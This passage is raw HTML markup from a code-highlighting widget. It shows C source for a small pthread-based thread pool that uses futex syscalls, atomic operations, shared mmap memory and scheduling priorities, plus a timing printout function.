class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-80\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-81\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__atomic_load_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">exitFlag<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_ACQUIRE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-82\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-83\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-84\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_detach<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">pthread_self<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-85\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-86\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-87\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">execute_call<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-88\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_sub<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-89\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-90\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-91\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-92\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-93\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-94\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-95\"><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">threadNum<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-96\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">createThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-97\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-98\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">policy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-99\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">max_prio_for_policy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-100\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mmap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">RDMATHREADS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PROT_READ<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-101\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">PROT_WRITE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-102\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">MAP_ANONYMOUS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MAP_SHARED<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-103\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-104\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDMATHREADS<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-105\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">thread<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-106\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-107\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-108\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">exitFlag<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-109\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">thread<\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-110\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_t <\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-111\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_init<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-112\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_setstacksize<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">128<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-113\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">thread<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-114\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-115\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_create<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-116\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Warning_1111: &#8220;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-117\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-118\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-119\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_create<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-120\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_getschedpolicy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">policy<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-121\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">max_prio_for_policy<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sched_get_priority_min<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">policy<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-122\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-123\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_setschedprio<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">max_prio_for_policy<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-124\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pthread_attr_destroy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">attr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-125\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-126\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-127\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-128\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-129\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-130\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">readTime<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-131\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-132\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">timeval <\/span><span class=\"crayon-v\">tv<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-133\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;run at %dn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-134\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">gettimeofday<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">tv<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-135\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;sendNum is ==== %d at %d n&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">__atomic_load_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sendNum<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-136\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__ATOMIC_ACQUIRE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-137\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">printf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;millisecond:%ldn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tv<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_sec<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">1000000<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">tv<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_usec<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-138\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div 